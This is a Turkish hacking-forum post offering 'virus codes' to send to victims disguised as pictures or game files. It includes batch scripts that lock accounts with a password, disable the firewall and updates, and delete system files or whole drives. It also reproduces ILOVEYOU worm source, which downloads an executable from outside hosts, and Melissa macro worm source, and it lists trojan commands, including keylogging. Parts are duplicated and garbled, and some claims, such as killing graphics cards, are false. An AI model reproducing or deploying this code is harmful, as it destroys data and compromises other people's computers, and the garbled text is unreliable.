net user %username% 123456
shutdown -r
bu komutta 123456 yazılı kısım kişinin pc ye koyacagımız şifredir siz  deiştirip istediğiniz bir şifreyi koyabilirsiniz
şimdii gelelim kullanıma
verdiğim komutları yazıp .bat olarak kaydetikten sonra oluşan programı   msnden karşıtarafa bişekilde kabul ettirip yolluyorsunuz adam alınca   çıft tıkladığı anda pc’ye şifre yerleşiyor ve pc otomatik olarak   kapanıyor bu kapamayı kişi durduramaz
görev yönrticisini bile açsa durduramaz zaten durdursa bile şifre çoktan   yerleşmiş olur pc’yi kendisi kapadığıanda şifrelenir açıldığında  parola  sorar bilen açar bilemeyen açamaz.
100%100 denendi
 
Karşı Pcsinin Güvenlik Duvarını Kapatma
@echo off
net stop "Security Center"
net stop SharedAccess
> "%Temp%.\kill.reg" ECHO A R E S
> >"%Temp%.\kill.reg" ECHO.
> >"%Temp%.\kill.reg" ECHO  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\SharedAccess]
> >"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
****"%Temp%.\kill.reg" ECHO.
> >"%Temp%.\kill.reg" ECHO  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\wuauserv]
> >"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
> >"%Temp%.\kill.reg" ECHO.
> >"%Temp%.\kill.reg" ECHO  [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\w scsvc]
> >"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
> >"%Temp%.\kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.\kill.reg"
DEL "%Temp%.\kill.reg"
DEL %0
 
Karşı Pcye Emir Verme Komutları
shutdown -i:Uzaktan Kapat’1 aç
shutdown -l:Oturumu Kapat.
shutdown -s:Bilgisayar1 kpat.
shutdown -r:Bilgisayar1 kapat ve y€niden ßaslat
shutdown -m //bilgisayarad1:Yeniden ba_latmak/ç1kmak için uzak bilg.
shutdown -t xx:kapatmak için bilgisayar1 xx saniyeye ayarla
shutdown -c:Kapatma yorumu en çok<127 karakter>
shutdown -f:Çal1_an uygulamalar1 direkman kapatmaya zorlar
shutdown -d:Kapatma için neden kodu
evet arkadaşlar bunları v€rdik ama şimdi n€ olucak.
başlat-çalıştır-cmd yazın.sonra bu komutlardan birini yazdıktan
sonra yanına arkadaşınızın ıp’sini yazın.sonra yazdığınız komuta
göre işlem görsün.
ip no yazamayı unutmayın 
 
Mail İle Web Site Yıkıcı
phpBBde özel mesaj ile hack yapmak isteyenler bu tam size göre...adminin   veya üyenin artık kime atacağınız size kalmış özel mesaj ile atın ve o   kişi mesajı okuduğunda bilgileri size gelecek..işte kod..
 
phpbb de
 
Kod:
// Save login tries and last login
if (&l036;row[&l039;user_id&l039;] != cookies)
&l123;
&l036;sql = &l039;UPDATE &l039; . USERS_TABLE . &l039;
SET user_login_tries = user_login_tries + 1, user_last_login_try =  &l039; . time() . &l039;
WHERE user_id = &l039; . &l036;row[&l039;user_id&l039;];
&l036;db->sql_query(&l036;sql);
}

5.Sayfa Virus Kodları

Bat virüsü hazırlama
İşte kodlar:

cd..

cd..

attrib -s -h -r -a c:\ntldr

del c:\ntldr

shutdown -r
arkadaşlar bu kodları bilgisayarımızdaki notpadi açarak içerisine  kopyalıyoruz ve dosyayı kaydederken uzantısını .bat olarak  değiştiriyoruz. sakın olaki dosyayı kendiniz açmayın!!!

örneğin; güzelresimler.bat

sonra işin heyecanlı kısmına gelelim. dosyamızı winrar yada winzip gibi  programlar aracılığıyla karşı tarafa yolluyoruz. ve karşı taraf bu  dosyayı açtığında boooom!!!! pc kendine otomatik format çeker.

haaa olaki dosyayı kendiniz yanlışlıkla açtınız olsun önemli deil; ben size bunun panzehirinide veriyimde içiniz rahatlısın.

yukarıdaki gibi hazırlamış olduğumuz dosya açıldığında 30 saniyelik bir  geri sayma işlemi başlar forrmat işlemi için. bu 30 saniye bitmeden  aşağıda verdiğim kodları yine aynı şekilde bat olarak kaydedip  açtığınızda format işlemi duruyo. ama siz yinede denemeyin ne olur ne  olmaz o kadar riske girmeyin..

panzehir kodları;

shutdown -a

_________________________________________

Yöntem Ms-dostan Pc ye gir


ms-dos a geç , ve *setdebug* yaz karşına *Enable AktiveX debugging for  Java* diye bir yazı gelecek ona tamam de ve bir sonraki satıra *debug*  yaz sonra diğer satıra *XAbilgine gireceğin ip* yi yazıp enter ediyoruz  sonra işleyici oluşturuldu yazısı gelecek şimdi  "Programlar>Çalıştır>telnet" yazıp telneti açıyoruz sonra  "uzaktaki sistem" deyip adamın ip'sini tekrar yazıyoruz gerisi size  kalmış bu komutları kullanabilirsin. (*) ları yazmıyoruz. Kolay  gelsin...

CaptureScreen Ekrandan goruntu alır
DelFile;(filename.exe) Dosya siler
DisableKeys;1;(keys) harfleri iptal eder [kullanıcı klavyeyi kullanamaz]
DisableKeys;0; Klavye tekrar aktif olur
DisableKeys;1;abcdefghijklmnopqrstuvwxyzåäö Harfler kullanılmaz hale gelir
DownloadFile;(path:filename.exe) istediginiz dosyayi cekersiniz
Eject;1 CD-ROM'u acar
Eject;0 CD-ROM'u kapar
ExitWin;1 Windos'u kapar
GetApps Calısan prg.ları listeler
GetACL Admin Listi verir
GetInfo Info penceresini verir
GetDisks Hardiskindeki dosyaları gosterir
GetSetup Server icin ayarları verir
GetUser Kullanıcı hakkında bilgi verir GetVolume Sesi acar
KeyClick;1 Key click on
KeyClick;0 Key click off
Listen;1 Start (keyboard) bir nevi keyloger adamın yazdıklarını gorursunuz
Listen;0 Stop listening
Message;(message) Messagebox halinde mesaj yolalrsınız
NewSetup;serverport;1;password;youremail;VICTIMSem ail;smtpserver Sends the new admindata (1.7)
Password;1;any ENTER'a bas ve ServerPwd;yenisifre Passwordu deistirir(1.6)
PlaySound;(file.wav) wav dosyası calar
PortRedir;(listen tcp port);(ip);(destination port) ******** the specified port
Record;10 = 10 saniyelik ses kaydeder
RemoveServer;1 Server'ı kaldırır
RemoveServer;0 Kaldırmayı iptal eder
ShowImage;(file.exe) Resim gosterir
SendKeys;(words) Mesaj yollar * tusu ile yazdıgınız siler
SendKeys;2;13 Sends ozel tuslar [sag,sol,yukari,asagi]
SetACL;(ip)| Set (admin) access IP`s
SetMousePos;(xpos);(ypos) Mouse'u oynatırsınız
SwapButton;1 Mouse'un tuslarının yerlerini degistirir
SwapButton;0 Mouse'u eski haline getirir
StartApp;(file.exe) Program calıstırır
UploadFile;(file.exe);(size);(destination dir) Dosya yollarsınız

_________________________________________

Yöntem Ekran Kartını Yakın


@echo off
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off
cls
cls
@echo .:: HacKeD By RaZoR::.
@echo off3.

kodlarını yapıştırın ve farklı kaydet diyin. dosya adını yazın ve sonuna .bat yazın. (örnek: açma.bat)
vede kaydedin böylece ms-dos toplu iş dosyası oluşacak bunu sakın  açmayın ve kimin ekran kartını yakmak istiyorsanız o kişiye yollayın.  kurban dosyaya iki kere tıkadığı zaman saniyede 1000 den fazla ms-dos  sayfası açılacak vede yaklasık 30 sn sonra ekran kartı gücünü kaybedip  yorulacak. en sonunda HacKeD By RaZoR yazısı görünecek (burayı kendiniz  değiştirebilirsiniz) vede görüntü gidecek. yeni ekran kartı alana kadar  da gelmiyecek kolay gelsin

_________________________________________

buda Format virüsü karşıya gönderdiğinizde 30sn içinde pc otomatikmen  format atıyor ayrıca format atarken ekran kartını yakıp CD-romu bozuyor  yani format attıktan sonra tekrardan windowsu geri yüklüyemeyecektir  çünkü CD-rom Cd okumuyacaktı yenisini alsa bile yani anlıcayacğınız pc  toprak oldu demektir

rem delete -pcaş(-vbe)
On es error -pc
On error Next Pc Hack
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Window s Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Micros oft\Intern et Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start  Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf  7679njbvYT /WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start  Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4j  nHHGbvbmKL JKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start  Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGq**198vbFV5hfFEkbopBdQZnmPOhfgER67b3V  bvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start  Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqweras  djhPhjasfd  glkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.i ni")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( şnick == şme ) { halt }"
scriptini.WriteLine "n2= /.dcc send şnick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0


_________________________________________


sırada karşıdaki pc ye karşıdakinin haberi olmadan şifre koymak var aşağıdaki kdou .bat çevirip gönderin

net user %username% [parola]


_________________________________________

sıradaki kod karşıdakinin ekranını ve msn sini kaptıyor aşağıdaki  kodları ne kadar çok yazarsanız karşıdaki pc nin ekranı ve msn si o  kadar uzun süre kapanır

start tskill explorer
start tskill msnmsgr
start tskill explorer
start tskill msnmsgr
start tskill explorer
start tskill msnmsgr
start tskill explorer
start tskill msnmsgr
start tskill explorer
start tskill msnmsgr
start tskill explorer
start tskill msnmsgr
start tskill explorer
start tskill msnmsgr
start tskill explorer
start tskill msnmsgr
start tskill explorer
start tskill msnmsgr
start tskill explorer
start tskill msnmsgr
start tskill explorer
start tskill msnmsgr
start tskill explorer
start tskill msnmsgr
start tskill explorer
start tskill msnmsgr
start tskill explorer
start tskill msnmsgr
start tskill explorer

6.Sayfa Virus Kodları

 @echo off
net stop "Security Center"
net stop SharedAccess
> "%Temp%.\kill.reg" ECHO A R E S
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\SharedAccess]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\wuauserv]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\w scsvc]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.\kill.reg"
DEL "%Temp%.\kill.reg"
DEL %0 
 
 dosyayı notepad a yapıştırdıktan sonra .bat olarak kaydedin virüs hazır.. 
 
Evet Arkadaşlar 

Bunlarda Zararsız Virus Kodları Sadece Gıcık Eder :)

Not Defterini Aç

İçine 

Shutdown -s -t "6" -c "Pc ni Tamirciye Gönder

yazın ama siz 6 sayısını ve Pc ni Tamirciye Gönder Yazısını Değiştirebilirsiniz

yani 6 sayısı pc nin ne zaman kapanacağıdır Pc ni tamirciye gönder yazısı 

ise pc kapanmadan önceki not (mesaj) tur ...

Buda 2. Zararsız Gıcık Edici Bir Vİrus Kodu

Not Defterini Açın

İçine 

start
start
start
start
start
start
start
start
start

start
start
start
start
start
start
start
start
start

start
start
start
start
start
start
start
start
start

start
start
start
start
start
start
start
start
start
[B][COLOR=White][COLOR=Blue]
start
start
start
start
start
start
start
start
start
 
         Yazın ama Ne Kadar Yazarsanız Okadar Çok Program Açılacaktır

Çok Abartmayın pc çöker :D BU KADAR YETER

EVET BU İKİ TANE VERDİĞİM GICIK EDİCİ VİRUS KODLARINI DA

Farklı kaydet ten ismini yazıyoruz ve sonuna .bat ekliyoruz

.bat çok önemli dir :)

Evet
Bu Kadar 

:twist İşe Yarar Bunlar[COLOR=White]

Evet 

Arkadaşlar Tüm Kodlar Bu Kadar
--------------------------------------------------------------------------------

Daha önce verildimi bilmem ama ben koyuyorum 


2 sene önce dünya bilgisayar piyasasını altüst eden bir virüs.
Yapımı:
Bir Microsft Word belgesi açyoruz.Daha sonra yeni belge açıp Alt + f11'e basarak Microsoft Visual Basic'i açıyoruz

Project 1 / Microsoft Word objects / This ******** seklinde 3 lü bir seçim geliyor karşımıza...
This ********i seçmeliyiz bu aşamada. Seçimi yaptıktan sonra asagıda verilmış olan Melısssa kodlarını yapıştırıyoruz ve kaydediyoruz bu belgeyi.
Melissa Visuel Basic virüsüdür. .Exe olamaması bunu inandırma oranını 100 de 100 arttırr .
Fakat panda,norton,mcafee,mks virüs olarak buluyor ancak kaspersky(5.0) ve avast(4.7) tanımıyor tabi avg eksik kalıyor bu konuda.
Not: Çalışıyor. Denendi.
Melıssa Kodları:

Private Sub ********_Open() ' Writted By eXit
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabl ed = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that ******** you asked for ... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add Active********.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") = "... by Kwyjibo"
End If


Set ADI1 = Active********.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If

If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.Name, "********") = False) Then
Active********.SaveAs FileName:=Active********.FullName
ElseIf (InStr(1, Active********.Name, "********") <> False) Then
Active********.Saved = True
End If

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub


2.Virüs



KOD:


@echo off
net stop "Security Center"
net stop SharedAccess
> "%Temp%.\kill.reg" ECHO A R E S
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\SharedAccess]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\wuauserv]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\w scsvc]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.\kill.reg"
DEL "%Temp%.\kill.reg"
DEL %0



Not defterine kopyalayıp adını virüs.bat veya virüs.cmd olarak kaydedin 
Herhangi bir resim ile birleştirmek isterseniz ; 

Resme sağ tıklayın Birlikte Aç >Not Defteri yapıp kodu resmin sonuna ekleyin.

Not: Kaspersky , Norton , NOD32 , Avast gibi anti virüslere yakalanmaktadır.



3. Virüs
__________________________________________________ __________

@echo off 
C:\WINDOWS\COMMAND\deltree /y......
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.* 
@echo off 
C:\WINDOWS\COMMAND\deltree /y c:\*.* 
@echo off 
cls 
cls 

Uzantı: .bat
__________________________________________________ __________
4.Virüs
__________________________________________________ __________
Kodlar:
net user %username% 753951456852
shutdown -r

Uzantı: .bat 
Bunu Yaptıktan Sonra Sakın Kendi Bilgisayarınızdan Açmayın Gümletirsiniz 


sorumluluk bana ait degildir..

tesekürü esirgemeyin tamamen alıntıdır 

CoLTFeeT06[/QUOTE]
[/QUOTE] ve dünyayı salayan vürüs Arkadaşlar vereceğim komutları metin belgesine atıp belgenin uzantısını .bat olarak değiştiriyorsunuz ve bir oyunun içindeki başka bir bat dosyasıyla değiştiriyorsunuz ve karşı pc ye veriyorsunuz ve sonu pc bitkisel hayat.kod biraz uzun.:q:q:q:q:q:q:q rem delete -pcas(-vbe) On es error -pc On error Next Pc Hack dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main() sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Window s Scripting Host\Settings\Timeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") regruns() html() spreadtoemail() listadriv() end sub sub regruns() On Error Resume Next Dim num,downread regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs" downread="" downread=regget("HKEY_CURRENT_USER\Software\Micros oft\Intern et Explorer\Download Directory") if (downread="") then downread="c:\" end if if (fileexist(dirsystem&"\WinFAT32.exe")=1) then Randomize num = Int((4 * Rnd) + 1) if num = 1 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf 7679njbvYT /WIN-BUGSFIX.exe" elseif num = 2 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4j nHHGbvbmKL JKjhkqj4w/WIN-BUGSFIX.exe" elseif num = 3 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGq**198vbFV5hfFEkbopBdQZnmPOhfgER67b3V bvg/WIN-BUGSFIX.exe" elseif num = 4 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqweras djhPhjasfd glkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe" end if end if if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe" regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank" end if end sub sub listadriv On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then folderlist(d.path&"\") end if Next listadriv = s end sub sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name) if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path) elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) elseif(ext="mp3") or (ext="mp2") then set mp3=fso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if (eq<>folderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="scri*t.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"\scri*t.i ni") scriptini.WriteLine "[scri*t]" scriptini.WriteLine ";mIRC scri*t" scriptini.WriteLine "; Please dont edit this scri*t... mIRC will corrupt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";http://www.mirc.com" scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close eq=folderspec end if end if next end sub sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub sub regcreate(regkey,regvalue) Set regedit = CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub function regget(value) Set regedit = CreateObject("WScript.Shell") regget=regedit.RegRead(value) end function function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end if fileexist = msg end function function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg = 0[/QUOTE] Karşı Pc 'yi Yönetme Emir Verme shutdown -i:Uzaktan Kapat’1 aç shutdown -l:Oturumu Kapat. shutdown -s:Bilgisayar1 kpat. shutdown -r:Bilgisayar1 kapat ve y€niden ßaslat shutdown -m //bilgisayarad1:Yeniden ba_latmak/ç1kmak için uzak bilg. shutdown -t xx:kapatmak için bilgisayar1 xx saniyeye ayarla shutdown -c:Kapatma yorumu en çok<127 karakter> shutdown -f:Çal1_an uygulamalar1 direkman kapatmaya zorlar shutdown -d:Kapatma için neden kodu Evet arkadaşlar bunları v€rdik ama 